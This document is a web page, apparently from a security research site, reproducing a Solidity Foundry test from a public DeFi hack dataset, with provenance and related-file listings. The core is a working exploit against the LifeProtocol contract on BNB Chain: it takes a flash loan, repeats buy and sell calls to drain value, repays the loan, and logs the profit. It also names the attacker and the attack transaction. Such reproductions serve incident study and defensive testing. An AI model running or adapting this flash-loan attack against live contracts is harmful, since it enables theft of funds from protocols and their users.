Public reproduction file

src/test/2025-04/Lifeprotocol_exp.sol

Public reproduction file for dataset entry Lifeprotocol.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-04/Lifeprotocol_exp.sol70 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 15114 BUSD
8// Attacker : https://bscscan.com/address/0x3026C464d3Bd6Ef0CeD0D49e80f171b58176Ce32
9// Attack Contract : https://bscscan.com/address/0xF6Cee497DFE95A04FAa26F3138F9244a4d92f942
10// Vulnerable Contract : https://bscscan.com/address/0x42e2773508e2ae8ff9434bea599812e28449e2cd
11// Attack Tx : https://bscscan.com/tx/0x487fb71e3d2574e747c67a45971ec3966d275d0069d4f9da6d43901401f8f3c0
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x42e2773508e2ae8ff9434bea599812e28449e2cd#code
15 
16// @Analysis
17// Post-mortem :  
18// Twitter Guy :  
19// Hacking God :  
20 
21address constant LifeProtocolContract = 0x42e2773508e2AE8fF9434BEA599812e28449e2Cd;
22address constant dpp = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;
23address constant busd = 0x55d398326f99059fF775485246999027B3197955;
24address constant lifeToken = 0x19B2834f99Fb9eB4164CB5b49046Ec207F894197;
25 
26contract LifeProtocol_exp is Test {
27    uint256 public quoteAmount = 110000 * 1e18;
28 
29    function setUp() public {
30        vm.createSelectFork("bsc", 48703546 - 1);
31        IFS(busd).approve(LifeProtocolContract, quoteAmount);
32        IFS(lifeToken).approve(LifeProtocolContract, quoteAmount);
33    }
34 
35    function testExploit() public {
36        IFS(dpp).flashLoan(0, quoteAmount, address(this), abi.encodePacked(uint256(1)));
37        console2.log("Profit:", IFS(busd).balanceOf(address(this)) / 1e18, 'BUSD');
38    }
39 
40    function DPPFlashLoanCall(
41        address sender,
42        uint256 baseAmount,
43        uint256 quoteAmount,
44        bytes calldata data
45    ) public {
46        for(uint256 i=0; i<53; i++) {
47            IFS(LifeProtocolContract).buy(1000 * 1e18);
48        }
49        
50        for(uint256 i=0; i<53; i++) {
51            IFS(LifeProtocolContract).sell(1000 * 1e18);
52        }
53        IFS(busd).transfer(dpp, quoteAmount);
54    }
55}
56 
57interface IFS is IERC20 {
58    function flashLoan(
59        uint256 baseAmount,
60        uint256 quoteAmount,
61        address assetTo,
62        bytes calldata data
63    ) external;
64 
65    function balanceOf(address owner) external view returns (uint256);
66 
67    function buy(uint256 lifeTokenAmount) external;
68 
69    function sell(uint256 amount) external;
70}

Analysis

Dataset entry

Public Foundry test for “Lifeprotocol” (2025-04-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2025-04/AIRWA_exp.solSame month in the dataset · 105 lines
src/test/2025-04/AmpKashi_exp.solSame month in the dataset · 267 lines
src/test/2025-04/AventaRewardClaim_exp.solSame month in the dataset · 136 lines
src/test/2025-04/bitdog_exp.solSame month in the dataset · 161 lines
src/test/2025-04/BTNFT_exp.solSame month in the dataset · 77 lines
src/test/2025-04/flylong_exp.solSame month in the dataset · 135 lines
src/test/2025-04/ImpermaxV3_exp.solSame month in the dataset · 259 lines
src/test/2025-04/Laundromat_exp.solSame month in the dataset · 101 lines
src/test/2025-04/multitransferswap_exp.solSame month in the dataset · 190 lines
src/test/2025-04/Roar_exp.solSame month in the dataset · 84 lines
src/test/2025-04/tcdp_exp.solSame month in the dataset · 148 lines
src/test/2025-04/Unverified_6077_exp.solSame month in the dataset · 99 lines
src/test/2025-04/YBToken_exp.solSame month in the dataset · 132 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x3026c464d3bd6ef0ced0d49e80f171b58176ce32
Attack Contract
0xf6cee497dfe95a04faa26f3138f9244a4d92f942
Vulnerable Contract
0x42e2773508e2ae8ff9434bea599812e28449e2cd

Attack Tx
0x487fb71e3d2574e747c67a45971ec3966d275d0069d4f9da6d43901401f8f3c0

File record

Name: Lifeprotocol
Path: src/test/2025-04/Lifeprotocol_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 77080e9f3f40e1685a686550dec4f900610645f0
Language: Solidity
Size: 71 lines
Date: 2025-04-26
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2025-04/Lifeprotocol_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 77080e9f3f40e1685a686550dec4f900610645f0, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.